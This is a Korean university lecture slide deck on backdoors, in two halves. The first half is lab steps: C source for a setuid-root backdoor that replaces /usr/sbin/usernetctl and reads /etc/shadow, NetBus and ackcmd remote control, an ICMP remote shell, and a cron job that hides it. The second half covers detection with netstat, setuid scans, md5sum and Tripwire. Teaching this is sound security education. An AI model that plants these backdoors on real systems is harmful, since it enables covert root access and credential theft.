53
KYUNGIL KYUNGIL www.kiu.ac.kr Information Security B ackdoor ackdoor 시시시 시시시 시시 시시시 시시시 시시 6 6 시 시시시 시 시시시 시시시시시 시시시 시시시 시시시 시시시 , 시시시

B ackdoor 시스템 해킹과 보안 6 장 백도어

  • Upload
    hubert

  • View
    219

  • Download
    2

Embed Size (px)

DESCRIPTION

B ackdoor 시스템 해킹과 보안 6 장 백도어. 경일대학교 컴퓨터 공학부 발표자 서정태 , 손형준. 목차. 학습목표. Table of Contents. 3 14 22 32. 백도어에 대한이해 윈도우백도어 백도어 탐지와 제거 백도어의 탐지와 대응책. 백도어에 대한 이해. ■ 백도어에 대한 이해. 트로이의 목마. 그리스 군과 트로이 군의 전쟁 시 그리스 군은 무장 군사를 숨긴 거대한 목마를 트로이 군에 선물 , 결국 그리스 군이 승리 - PowerPoint PPT Presentation

Citation preview

Page 1: B ackdoor 시스템 해킹과 보안  6 장 백도어

KYUNGILKYUNGIL

www.kiu.ac.kr

Information Security Backdoorackdoor

시스템 해킹과 보안 시스템 해킹과 보안 66 장 백도어장 백도어

경일대학교컴퓨터 공학부발표자 서정태 , 손형준

Page 2: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 2

학습목표

I. 백도어에 대한이해

II. 윈도우백도어

III. 백도어 탐지와 제거

IV. 백도어의 탐지와 대응책

3

14

22

32

목차목차

Page 3: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 3

■ 백도어에 대한 이해 트로이의 목마

그리스 군과 트로이 군의 전쟁 시 그리스 군은 무장 군사를 숨긴 거대한 목마를트로이 군에 선물 , 결국 그리스 군이 승리 정상적인 프로그램에 비 정상 코드를 삽입한 프로그램

백도어에 대한 이해백도어에 대한 이해

Page 4: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 4

■ 백도어

원래의 의미

운영체제나 프로그램을 생성 시 인증과정을 거치지 않고 , 운영체제나 프로그램 등에 접근할 수 있도록 만든 일종의 통로(administrative hook = trap dooradministrative hook = trap door)

현재는

해커가 상대 시스템에 쉽게 접근하기 위해 설치해 놓은 해커만 알고 있는 비밀 통로

백도어에 대한 이해백도어에 대한 이해

Page 5: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 5

■ 백도어에 대한 이해

로컬 백도어 서버의 셸을 얻어낸 뒤에 관리자로 권한 상승 할 때 사용하는 백도어 트랩 도어 역시 로컬 백도어라고 생각할 수 있다 . 우선 시스템에 로그인해야 하므로 , 공격자는 일반 계정이 하나 필요

원격 백도어 원격에서 관리자로 계정과 패스워드를 입력하고 로그인한 것처럼 바로 시스템의 관리자 계정을 할 수 있는 백도어 네트워크에 자신의 포트를 항상 열어놓는 경우가 많다 . 일종의 서비스를 제공하는 데몬처럼 동작하는 것이다 .

원격 GUI 백도어 원격 GUI(Graphic User Interface) 백도어는 실제로 많지 않다 . 그 이유는 GUI 환경의 백도어는 대부분 크기가 크고 , 많은 데 이 터 를 전송해야 하기 때문에 노출되기 쉽다 .

백도어에 대한 이해백도어에 대한 이해

Page 6: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 6

■ 백도어에 대한 이해

패스워드 크래킹 백도어 인증을 회피한다기보다는 인증에 필요한 패스워드를 원격지의 공격자에게 보내주는 역할을 하는 백도어 키보드의 정보를 원격지에 보내는 경우도 있고 , 특정 문자열 , 즉 ‘ passwd' 와 같은 문자열 뒤에 누르는 키보드의 정보를 원격지에 보내는 경우도 있다 .

시스템 설정 변경 백도어 해커가 원하는 대로 시스템의 설정을 변경하기 위한 도구 유닉스에서 프로그램 스케쥴러로 사용되는 cron 데몬을 이용하는 경우가 많다 .

백도어에 대한 이해백도어에 대한 이해

Page 7: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 7

■ 백도어에 대한 이해

트로이 목마형 백도어 처음부터 백도어를 목적으로 만들어진 프로그램이 아닌데 , 백도어로 동작 윈도우에서는 웹 브라우저나 명령 창 , 간단한 게임 등도 백도어와 섞을 수 있다 . 이렇게 만들어진 백도어를 실행하면 원래 목적의 프로그램도 실행되면서 동시에 백도어도 설치된다 .

거짓 업그레이드 시스템 패치 , 업그레이드 시 잘못된 프로그램을 설치하는 경우 원치 않으나 강제로 프로그램의 업그레이드가 실행되는 경우

백도어에 대한 이해백도어에 대한 이해

Page 8: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 8

■ SetUID 형 로컬 백도어 설치 및 이용

1. 백도어의 생성

   #include <stdio.h>

   main (int argc, char *argv[]){

        char exec[100];   

        setuid (0);

        setgid (0);

        sprintf (exec, "%s 2>/dev/null ", argv[1]);

        system (exec);

   }

gcc -o backdoor backdoor.c

chmod 4755 backdoor bash 셸 버전 2.0 이전에서만 가능 함

5 장 . SetUid 실습 내용 참조 요망

백도어에 대한 이해백도어에 대한 이해

Page 9: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 9

■ SetUID 형 로컬 백도어 설치 및 이용

2. 백도어의 동작

./backdoor "id"

./backdoor "cat /etc/passwd"

백도어에 대한 이해백도어에 대한 이해

Page 10: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 10

■ SetUID 형 로컬 백도어 설치 및 이용

2. 백도어의 설치

find / -perm 4755

시스템 내부에서 SetUID 비트를 가진 파일 검색

백도어에 대한 이해백도어에 대한 이해

Page 11: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 11

■ SetUID 형 로컬 백도어 설치 및 이용

2. 백도어의 설치

/usr/sbin/usernetctl

시스템 내부에서 SetUID 비트를 가진 파일 선택

백도어에 대한 이해백도어에 대한 이해

Page 12: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 12

■ SetUID 형 로컬 백도어 설치 및 이용2. 백도어의 설치백도어의 수정 : vi backdoor2.c

   #include <stdio.h>

   main (int argc, char *argv[]){

        char exec[100];   

        setuid (0);

        setgid (0);

        sprintf (exec, "%s 2>/dev/null ", argv[1]);

        system (exec);

printf ("usage: usernetctl <interface-config> <up|down|report>\n");

   }

백도어에 대한 이해백도어에 대한 이해

Page 13: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 13

■ SetUID 형 로컬 백도어 설치 및 이용2. 백도어의 설치

cp ./backdoor2 /usr/sbin/usernetctl

백도어와 원래 파일과 바꾸기

3. 백도어의 사용/usr/sbin/usernetctl “cat /etc/shadow"

백도어에 대한 이해백도어에 대한 이해

Page 14: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 14

■ 윈도우 백도어 – Ackcmd

실습에서 사용할 ‘ ackcmd’ 툴은 이 중의 ack 패킷만을 이용한다 . 즉 , 세션을 성립시키지 않는다 . 세션을 성립시키지 않기 때문에 방화벽이나 운영체제의 연결 기록에도 남지 않는다 . 세션을 성립시키지 않고 , 클라이언트와 서버가 ack 패킷만을 주고받으며 통신을 한다 .

클라이언트 서버

Syn

Syn + Ack

Ack

정상적인 시스템의 3-Way Handshaking 과정 Ackcmd 툴을 이용한 패킷 전송 과정

윈도우 백도어윈도우 백도어

Page 15: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 15

■ 윈도우 백도어 – ackcmd

ackcmds : 목표 시스템에 설치 1. 백도어의 설치

2. 백도어에 대한 접속ackcmdc 192.168.68.4 : 해킹 시스템에서 실시

해커시스템 : 203.230.91.235목표시스템 : 203.230.91.242

window 2000 이상에서 동작

윈도우 백도어윈도우 백도어

Page 16: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 16

■ 윈도우 백도어 – ackcmd

windump -v -X 192.168.68.4

3. 패킷 분석

윈도우 백도어윈도우 백도어

Page 17: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 17

■ 윈도우 백도어 – ackcmd

netstat -n

4. 세션 확인

Ack 신호만 주고 받으므로 세션이 성립되지 않는다 .

윈도우 백도어윈도우 백도어

Page 18: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 18

■ 윈도우 백도어 – NetBUS

1. NetBUS 설치 V3 실시간 감시 기능을 잠시 꺼 놓고 실습할 것(1) NetBUS170.zip 압축 파일을 푼다 .

- NetBus.exe: 클라이언트 프로그램 - Patch.exe: 서버 프로그램

(2) 상대 시스템에 Patch.exe 파일을 설치한 후

(3) 클라이언트에서 NetBus.exe 를 실행

윈도우 백도어윈도우 백도어

Page 19: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 19

■ 윈도우 백도어 – NetBUS

2. NetBUS 클라이언트를 이용한 접속 서버 시스템 ip

윈도우 백도어윈도우 백도어

Page 20: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 20

■ 윈도우 백도어 – NetBUS

① Host name / IP: 해킹 대상 시스템 ip ② Server admin : rhdrur 대상 시스템에 설치된 서버 접근제어 설정③ Open CD-ROM : 상대 시스템의 CD-ROM 열렸다 , 닫혔다④ Start Program : 원격지 시스템의 프로그램 실행⑤ Msg Manager : 상대 시스템에 메시지 전송 기능⑥ Exit Windows : 상대 시스템 강제 종료⑦ Active Wnds : 상대 시스템 운영 프로그램 리스트 (kill 가능 )⑧ Mouse Pos : 마우스 포인터 강제 이동⑨ Listen : 상대방 키보드 입력 사항 공격자에 전달 ( 패스워드 크래킹 )⑩ Server Setup : patch.exe 사용 포트변경 , 시스템 부팅 시 메일 전송⑪ Control mouse : 공격자 마우스 포인터와 동일하게 상애 마우스 조정⑫ Key Manager : 특정 키보드 동작 조정 , 키보드 동작 정지 등⑬ Scan : netbus 설치 시스템 검색

윈도우 백도어윈도우 백도어

Page 21: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 21

■ 윈도우 백도어 – NetBUS

Joiner by Blinder 라고 불리우는 툴인데 , 이 툴은 하나 이상의 실행 파일(exe) 을 하나의 파일로 만드는 기능을 가지고 있다 . 다음 예와 같이 c:\winnt\explorer.exe 파일과 NetBUS 의 서버 파일인 patch.exe 파일을 혼합하여 하나의 실행 파일을 만들 수 있다 .

3. 백도어의 은닉

윈도우 백도어윈도우 백도어

Page 22: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 22

■ 유닉스 백도어

데몬에 대한 로그인 시 권한 부여

리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 23: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 23

■ 유닉스 백도어 – ICMP 백도어 서버 주소 : 203.230.91.234클라이언트 : 203.230.91.241

< 실습 환경 >

클라이언트203.230.91.234

서버203.230.91.241

ICMP 패킷 전송

ICMP 응답

1. ishell-latest.tar.gz2. libcap-1.90.tar.gz wow 에서 default 지원3. tcpdump-3.5.tar.gz wow 에서 default 지원

필요한 파일

리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 24: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 24

윈도우에 있는 ishell-latest.tar.gz 파일 가져오는 방법

1. 윈도우에서 알 FTP 서버를 실행시키고계정설정에서 id: test, 비밀번호 :1234567 로 세팅한다 .

2. 리눅스에서 윈도우로 FTP 접속을 시도한다 .root]# ftp 211.218.166.100 id 와 패스워드를 입력한다 .

3. 해당 파일을 다운 받는다 .ftp> get ishell-latest.tar.gz

리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 25: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 25

■ 유닉스 백도어 – ICMP 백도어1. ishell-latest.tar.gz 다운2. 다운 받은 ishell 파일의 압축을 풀고 컴파일 # tar –xvzf ishell-latest.tar.gz

# cd ISHELL-v0.2

# make

# make linux

ISHELL-v0.2 에 ish 와 ishd 실행파일이 만들어 짐

리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 26: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 26

< 실습 환경 구축 방법>

클라이언트203.230.91.234

서버203.230.91.241

ICMP 패킷 전송

ICMP 응답

1. Wow Linux 2개를 윈도우 시스템에 복사한다 .2. Vmware 에서 2 개의 리눅스를 모두 불러온다 .3. 리눅스 시스템 1 개를 클라이언트 , 다른 하나는 서버로 사용한

다 . 양 시스템 간 통신 여부를 ping 으로 확인한 후 실습할 것

리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 27: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 27

■ 유닉스 백도어 – ICMP 백도어

3. ICMP 백도어 구동 ( 서버에서 실행 )

./ishd -i 65000 -t 0 -p 1024 세션 id패킷종류

Reply

패킷길이

리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 28: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 28

■ 유닉스 백도어 – ICMP 백도어

4. ICMP 클라이언트를 이용한 접속 ( 클라이언트에서 실행 )

./ish -i 65000 -t 0 -p 1024 192.168.68.2

203.230.91.241 에서 접속했으나 서버의 ip 가 나타남 그러므로 , 서버에 접속되었다는 것을 알 수 있음 .상대 시스템을 사용 가능 함 .

# ls

리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 29: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 29

■ 유닉스 백도어 – ICMP 백도어

5. 패킷 분석 ( 서버에서 실행 )

tcpdump host 192.168.68.4

클라이언트 주소

서버에 접속하여 ‘ ls’ 명령을 입력 , 목록을 가져오는 것을 볼 수 있다 .

리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 30: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 30

■ 유닉스 백도어 – Cron 백도어

1. Cron 데몬 이해하기

Cron 데몬은 /etc/crontab 의 내용에 따라 주기적으로 프로그램을 실행하거나 중지한다 .

vi /etc/crontab

02  4   *    *    *   root   run-parts  /etc/cron.daily분 시 일 월 요일 사용자 실행파일 실행대상

리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 31: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 31

■ 유닉스 백도어 – Cron 백도어

2. Cron 데몬 값 범위

3. Cron 데몬 값 설정 (ish 백도어 )

0 4 * * * ./ishd -i 65000 //ishd 데몬이 새벽 4 시에 시작하여0 5 * * * pkill -U root ishd // 5 시에 정지된다 .

필드 사용할 수 있는 값

분 0 에서 59

시 0 에서 23

날짜 0 에서 31

달 0 에서 12 :  달 이름 사용 가능

요일 0 또는 7 : 일요일 , 요일 이름을 사용 가능

따라서 , 시스템 관리자가 4~5 시 사이에 시스템을 점검하지 않으면백도어를 탐지하기 어렵다 .

리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 32: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 32

■ 백도어 탐지

1. 현재 동작중인 프로세스 확인

2. 열린 포트 확인 (book. p. 207~ 208)

현재 프로세스를 확인해서 백도어가 아닌 정상적인 프로세스를 아는 것도 매우 중요하다 . 대부분 백도어를 ‘나 백도어다’라고 이름 짓는 일이 없기 때문이다 . 윈도우와 유닉스 시스템 등의 정상적인 프로세스들을 외워두는 것이 좋다 . 리눅스 : #ps –aux / 윈도우 : pslist

윈도우 시스템에는 해당 사항이 없지만 , SetUID 파일은 리눅스나 유닉스 시스템에서 로컬 백도어로서 강력한 기능을 가지는 경우가 많다 . 주기적으로 SetUID 파일 중에 추가되거나 변경된 것은 없는지 살펴보아야 한다 .

3. SetUID 파일 검사

# find / –perm +4000

# netstat -na

백도어 탐지의 대응책백도어 탐지의 대응책

Page 33: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 33

■ 백도어 탐지

4. 바이러스 및 백도어 탐지 툴 이용

5. 무결성 검사

대부분의 잘 알려진 백도어들은 바이러스의 일종으로 분류되어 백신 툴은 물론이고 , 다양한 탐지 툴이 있다 . 이런 툴을 이용하면 쉽게 백도어를 잡아낼 수 있는 경우가 많다 . 하지만 리눅스나 유닉스에서는 이런 툴이 많이 부족하기 때문에 수동으로 해야 할 경우가 많다 .

MD5 해시 기법을 많이 쓴다 . 파일의 내용이 조금만 바뀌어도 MD5 해시 결과 값이 다르기 때문에 관리자는 주기적으로 주요 파일의 MD5 값을 수집하고 , 검사하여 변경되는 파일의 내역을 체크할 수 있다 . 관리자가 변경하지 않았거나 , 시스템 운영상 변할 일이 없는 파일임에도 변경되어 있는 것을 발견한다면 , 이에 대한 조치를 할 수 있다 . (md5sum)

6. 로그 분석마지막으로 백도어를 탐지하는 방법으로는 로그 분석이 있다 . 로그 분석 방법은 무척 다양하며 , 'Cyber Foresic' 이라는 하나의 분야로 정착되고 있다 .

백도어 탐지의 대응책백도어 탐지의 대응책

Page 34: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 34

■ 백도어 탐지 – 윈도우 백도어 탐지

1. 프로세스 확인pslist 를 이용해 현재 동작중인 프로세스에 대한 좀더 자세한 정보를 얻을 수 있다 . ( 프로그램은 cybercop.cyworld.com 자료실 )

백도어 탐지의 대응책백도어 탐지의 대응책

Page 35: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 35

■ 백도어 탐지 – 윈도우 백도어 탐지

2. 열린 포트 확인

열린 포트는 ‘ netstat -an'으로 알 수 있다 .

백도어 탐지의 대응책백도어 탐지의 대응책

Page 36: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 36

■ 백도어 탐지 – 윈도우 백도어 탐지

2. 열린 포트 확인Fport 를 이용한 포트별 응용 프로그램 확인K:\>fport -hUsage: /p sort by port /a sort by application /i sort by pid /ap sort by application path

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 37: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 37

■ 백도어 탐지 – 윈도우 백도어 탐지

3. Promiscuous 모드 탐지

스니퍼가 설치되어 있을 경우 Promiscuous 모드로 변경되어 있을 수 있다 .

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책리눅스리눅스 //유닉스 백도어유닉스 백도어

Page 38: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 38

■ 백도어 탐지 – 윈도우 백도어 탐지

4. 백도어 탐지 툴의 이용

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책리눅스리눅스 //유닉스 백도어유닉스 백도어

백도어 탐지의 대응책백도어 탐지의 대응책

Page 39: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 39

■ 백도어 탐지 – 윈도우 백도어 탐지

4. 백도어 탐지 툴의 이용 (The Cleaner)

http://www.moosoft.com/

TCActive! monitors live processes for Trojans/Worms and other malicious programs and kills them before they do damage

Double click백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책리눅스리눅스 //유닉스 백도어유닉스 백도어

백도어 탐지의 대응책백도어 탐지의 대응책

Page 40: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 40

■ 백도어 탐지 – 윈도우 백도어 탐지

4. 백도어 탐지 툴의 이용 (The Cleaner)

TCMonitor keeps track of Registry keys, Files and Folders and alerts to any changes and can see the log files.

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 41: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 41

■ 백도어 탐지 – 윈도우 백도어 탐지

5. 무결성 검사

시스템에 대한 무결성 검사는 앞에서 살펴본 모든 테스트에서 백도어 탐지에 실패했을 경우에 사용할 수도 있으나 , 주기적인 무결성 검사로 다른 침입의 흔적도 찾아낼 수 있으므로 , 중요한 시스템일 경우나 중요한 디렉토리에 대해서는 주기적으로 무결성 점검 툴을 이용하여 점검해주는 것이 좋다 .

SFC(System File Chcker) 의 이용

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 42: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 42

■ 백도어 탐지 – 윈도우 백도어 탐지

5. 무결성 검사

md5sum *.* > test.md5

type test.md5

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 43: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 43

■ 백도어 탐지 – 윈도우 백도어 탐지

5. 무결성 검사

md5sum -c test.md5 check

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 44: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 44

■ 백도어 탐지 – 리눅스 백도어 탐지1. 프로세스 확인ps -ef

2. 열린 포트 확인netstat -an

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 45: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 45

■ 백도어 탐지 – 리눅스 백도어 탐지

3. SetUID 파일 검사

 find / -perm +4000

4. 백도어 탐지 툴의 이용 : Tripwire, chkrootkit

5. 무결성 검사 : md5sum

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 46: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 46

■ 백도어 탐지 – Tripwire

• 파일시스템을 스캐닝하여 주요 파일에 대한 디지털 서명값을 유지하여 , • 차후 이들 파일이 변경되었는지 점검하는 도구

• 불법적으로 변경된 파일에 대한 점검을 위해 - CRC-16, CRC-32, SHA, Haval, MD-2, MD-4, MD-5(default 1), - Snefru(default 2) 등 다양한 무결성 점검 알고리즘을 제공한다 .

• Tripwire 동작 개요

① 설정파일인 tw.config 파일에 등록된 파일 및 디렉토리의 해쉬값을 생성한다 . ② DB 로 부터 이전에 생성된 각 파일 및 디렉토리의 해쉬값과 비교한다 . ③ 비교시 tw.config 의 select-maskes 를 참조한다 . ④ 비교 결과값이 다를 경우 경고 메시지를 출력한다 .

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 47: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 47

■ 백도어 탐지 – Tripwire

1. 설치하기 (wow linux 에서는 디폴트로 설치되어 있음 )rpm -q tripwire

rpm -Uvh tripwire-2.3.1-17.i386.rpm

/usr/sbin/tripwire

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 48: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 48

■ 백도어 탐지 – Tripwire

# /etc/tripwire/twinstall.sh (tripwire 초기화 )

site key 와 local key 를 입력 (두 번씩 ) 1234567

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 49: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 49

■ 백도어 탐지 – Tripwire

2. Tripwire 설정

cat /etc/tripwire/twcfg.txt 설정파일 , Key 파일 및 정책 등

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 50: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 50

■ 백도어 탐지 – Tripwire2. Tripwire 설정# /usr/sbin/tripwire --init (tripwire 실행 )

# cat /etc/tripwire/twpol.txt 무결성 검사 목록 저장 파일

약간의 실행시간이 소요 됨

1234567

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 51: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 51

■ 백도어 탐지 – Tripwire

3. Tripwire 를 이용한 무결성 검사

# tripwire --check ( 관리자가 임의로 실행 )

• 보통 tripwire 는 cron 데몬에 매일 자동으로 실행되도록 설정해야 하나• 관리자가 임의로 – check 옵션으로 실행 가능• 생성된 보고서는 다음 위치에 저장 된다 . /var/lib/tripwire/report

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 52: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 52

■ 백도어 탐지 – Tripwire

3. Tripwire 를 이용한 무결성 검사

# cd /var/lib/tripwire/report# ls# twprit -m r --twrfile 보고서 파일 .twr

다양한 무결성 검사 결과 보고서 내용을 볼 수 있음

백도어 탐지의 대응책백도어 탐지의 대응책

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

리눅스 /유닉스 백도어

Page 53: B ackdoor 시스템 해킹과 보안  6 장 백도어

www.kiu.ac.kr 경일대학교 Computer Enginnering 53

Thank you

백도어에 대한 이해

윈도우 백도어

백도어의 탐지와 대응책백도어의 탐지와 대응책

감사합니다 .

리눅스 /유닉스 백도어